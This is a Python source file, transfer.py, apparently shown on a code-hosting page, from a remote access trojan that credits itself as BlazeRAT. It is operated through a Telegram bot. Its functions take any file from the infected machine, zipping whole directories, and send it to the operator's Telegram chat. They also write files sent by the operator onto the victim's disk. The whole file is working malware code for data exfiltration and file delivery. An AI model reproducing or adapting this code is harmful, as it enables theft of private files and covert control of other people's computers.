transfer.py 1.8 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061
  1. #!/usr/bin/python3
  2. # -*- coding: utf-8 -*-
  3. # Import modules
  4. from io import BytesIO
  5. from os import path, walk
  6. from zipfile import ZipFile, ZIP_DEFLATED
  7. import core.logger as Logger
  8. from core.messages import file as Messages
  9. """
  10. Author : LimerBoy
  11. github.com/LimerBoy/BlazeRAT
  12. Notes :
  13. The file is needed
  14. to transfer files
  15. """
  16. """ Upload file to telegram """
  17. def UploadFile(tfile, chatid, bot) -> None:
  18. # Log
  19. Logger.Log(f"Transfer >> Upload file '{tfile}' to telegram", chatid)
  20. # If file not exists
  21. if not path.exists(tfile):
  22. return bot.send_message(chatid, Messages.upload_path_not_found % tfile)
  23. # Download file
  24. if path.isfile(tfile):
  25. with open(tfile, "rb") as file:
  26. bot.send_document(chatid, file,
  27. caption="📄 " + path.abspath(tfile)
  28. )
  29. # Archive and download directory
  30. else:
  31. obj = BytesIO()
  32. with ZipFile(obj, "w", compression=ZIP_DEFLATED) as archive:
  33. for root, dirs, files in walk(tfile):
  34. for file in files:
  35. archive.write(path.join(root, file))
  36. bot.send_document(chatid, obj.getvalue(),
  37. caption="🗃 " + path.abspath(tfile)
  38. )
  39. """ Send file """
  40. def SendFile(message: dict, bot) -> None:
  41. tfile = message.text[10:]
  42. chatid = message.chat.id
  43. UploadFile(tfile, chatid, bot)
  44. """ Receive file """
  45. def ReceiveFile(message: dict, bot) -> None:
  46. chatid = message.chat.id
  47. name = message.document.file_name
  48. info = bot.get_file(message.document.file_id)
  49. # Log
  50. Logger.Log(f"Transfer >> Receive file '{name}' from telegram", chatid)
  51. # Save document
  52. content = bot.download_file(info.file_path)
  53. with open(name, "wb") as file:
  54. file.write(content)
  55. bot.send_message(chatid, Messages.download_file_success % name)